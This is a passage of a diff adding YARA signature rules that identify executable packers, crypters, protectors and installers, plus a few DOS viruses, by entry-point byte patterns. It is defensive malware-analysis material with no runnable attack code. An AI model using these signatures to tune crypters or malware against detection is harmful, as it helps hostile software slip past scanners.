+		$0 = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_SYP_
+{
+	meta:
+		description = "Vx: SYP"
+	strings:
+		$0 = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11_150200_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 150-200 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_21Beta__211__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+	condition:
+		$0
+}
+rule _Nullsoft_PiMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PiMP Install System v1.x"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_PENinja_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENinja 1.31] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_035__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 035) -> GlOFF"
+	strings:
+		$0 = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v200b_extra_
+{
+	meta:
+		description = "PKLITE v2.00b [extra]"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EA ?? ?? ?? ?? F3 A5 C3 59 2D ?? ?? 8E D0 51 2D ?? ?? 50 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20_RC2_
+{
+	meta:
+		description = "Nullsoft Install System v2.0 RC2"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0
+}
+rule _PKLITE_v100c_2_
+{
+	meta:
+		description = "PKLITE v1.00c (2)"
+	strings:
+		$0 = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeCryptor_01_build_002__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 002) -> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0
+}
+rule _tElock_098__tE_
+{
+	meta:
+		description = "tElock 0.98 -> tE!"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [LZMA] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v182_
+{
+	meta:
+		description = "Armadillo v1.82"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_ARM_
+{
+	meta:
+		description = "PocketPC ARM"
+	strings:
+		$0 = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PLINK86_1984_1985_
+{
+	meta:
+		description = "PLINK86 1984, 1985"
+	strings:
+		$0 = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v12__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress v1.2 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Excalibur_V103__forgot_
+{
+	meta:
+		description = "Excalibur V1.03 -> forgot"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_14_
+{
+	meta:
+		description = "Petite 1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0
+}
+rule _Password_protector_my_SMT_
+{
+	meta:
+		description = "Password protector my SMT"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098_m_
+{
+	meta:
+		description = "aPack v0.98 -m"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+	condition:
+		$0
+}
+rule _Armadillo_v171_
+{
+	meta:
+		description = "Armadillo v1.71"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_11__PKWARE_Inc_
+{
+	meta:
+		description = "PKLITE32 1.1 -> PKWARE Inc."
+	strings:
+		$0 = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v100b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.00b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ActiveMARK_5x__Trymedia_SystemsInc_
+{
+	meta:
+		description = "ActiveMARK 5.x -> Trymedia Systems,Inc."
+	strings:
+		$0 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+	condition:
+		$0
+}
+rule _yodas_Crypter_13__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Crypter 1.3 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TrojanTelefoon_
+{
+	meta:
+		description = "Vx: Trojan.Telefoon"
+	strings:
+		$0 = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftDefender_V11x__Randy_Li_
+{
+	meta:
+		description = "SoftDefender V1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0978_
+{
+	meta:
+		description = "PECompact v0.978"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+	condition:
+		$0 at entrypoint
+}
+rule _LY_WGKX__wwwszleyucom_
+{
+	meta:
+		description = "LY_WGKX -> www.szleyu.com"
+	strings:
+		$0 = {4D 79 46 75 6E 00 62 73}
+	condition:
+		$0
+}
+rule _PocketPC_SHA_
+{
+	meta:
+		description = "PocketPC SHA"
+	strings:
+		$0 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeCryptor_02_build_002__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.2 (build 002) -> GlOFF"
+	strings:
+		$0 = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+	condition:
+		$0
+}
+rule _StarForce_V1XV3X__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V1.X-V3.X -> StarForce Copy Protection System"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_LINK_v360_v364_v365_or_50121_
+{
+	meta:
+		description = "EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_12_by_Vaska_25032007_1658_
+{
+	meta:
+		description = "RJoiner 1.2 by Vaska (25.03.2007 16:58)"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+	condition:
+		$0 at entrypoint
+}
+rule _CERBERUS_v20_
+{
+	meta:
+		description = "CERBERUS v2.0"
+	strings:
+		$0 = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _PEZip_v10_by_BaGIE_
+{
+	meta:
+		description = "PEZip v1.0 by BaGIE"
+	strings:
+		$0 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+	condition:
+		$0
+}
+rule _Armadillo_v301_v305_
+{
+	meta:
+		description = "Armadillo v3.01, v3.05"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_60__70__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftDefender_1x__Randy_Li_
+{
+	meta:
+		description = "SoftDefender 1.x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.33 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+		$1 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_2628__Jtit_
+{
+	meta:
+		description = "Thinstall 2.628 -> Jtit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+		$1 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_August_16th_Iron_Maiden_
+{
+	meta:
+		description = "Vx: August 16th (Iron Maiden)"
+	strings:
+		$0 = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v153_
+{
+	meta:
+		description = "EXECryptor v1.5.3"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0
+}
+rule _SOFTWrapper_for_Win9xNT_Evaluation_Version_
+{
+	meta:
+		description = "SOFTWrapper for Win9x/NT (Evaluation Version)"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+	condition:
+		$0 at entrypoint
+}
+rule _SkD_Undetectabler_3_No_FSG_2_Method__SkD_
+{
+	meta:
+		description = "SkD Undetectabler 3 (No FSG 2 Method) -> SkD"
+	strings:
+		$0 = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _themida_1005__httpwwworeanscom_
+{
+	meta:
+		description = "themida 1.0.0.5 -> http://www.oreans.com"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ASDPack_v10__asd_
+{
+	meta:
+		description = "ASDPack v1.0 -> asd"
+	strings:
+		$0 = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+	condition:
+		$0
+}
+rule _CrypKey_v5__v6_
+{
+	meta:
+		description = "CrypKey v5 - v6"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PPCPROTECT_11X__Alexey_Gorchakov_
+{
+	meta:
+		description = "PPC-PROTECT 1.1X -> Alexey Gorchakov"
+	strings:
+		$0 = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PoPa_001_Packer_on_Pascal__bagie_
+{
+	meta:
+		description = "PoPa 0.01 (Packer on Pascal) -> bagie"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _The_Guard_Library_
+{
+	meta:
+		description = "The Guard Library"
+	strings:
+		$0 = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v151x_
+{
+	meta:
+		description = "EXECryptor v1.5.1.x"
